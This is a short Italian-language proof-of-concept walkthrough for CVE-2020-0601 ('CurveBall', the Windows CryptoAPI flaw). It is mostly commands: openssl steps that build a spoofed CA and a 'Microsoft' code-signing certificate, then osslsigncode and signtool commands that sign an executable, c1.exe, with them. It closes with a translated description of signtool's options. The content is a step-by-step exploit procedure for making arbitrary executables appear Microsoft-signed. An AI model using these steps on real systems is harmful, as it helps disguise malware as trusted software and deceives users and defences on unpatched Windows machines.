
PoC per CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
PoC per CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
Su kali: 1.Crea un file PKCS12
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2.Firma il file:
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

3.Su Windows usa signtool per firmare il file, il percorso è "C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe":
signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

Opzioni dei comandi globali di signtool.exe: /v Mostra l'output dettagliato e i messaggi di avviso, indipendentemente dal fatto che il comando venga eseguito correttamente o meno. Opzioni del comando sign: /f Specifica il certificato di firma nel file. Se il file è in formato Personal Information Exchange (PFX) ed è protetto da password, usare l'opzione /p per specificare la password. Se il file non contiene una chiave privata, usare le opzioni /csp e /kc per specificare il CSP e il nome del contenitore della chiave privata. /tr Specifica l'URL del server di timestamp RFC 3161. Se questa opzione (o /t) non è presente, non verrà eseguita alcuna operazione di timestamp sul file firmato. Se l'operazione di timestamp fallisce, verrà generato un avviso. Questa opzione non può essere usata insieme all'opzione /t. /as Aggiunge questa firma. Se non esiste una firma primaria, questa diventa la firma primaria. /fd Specifica l'algoritmo di digest del file da usare per creare la firma del file. Il valore predefinito è SHA1. /p Specifica la password da usare per aprire il file PFX. (Usare l'opzione /f per specificare il file PFX.)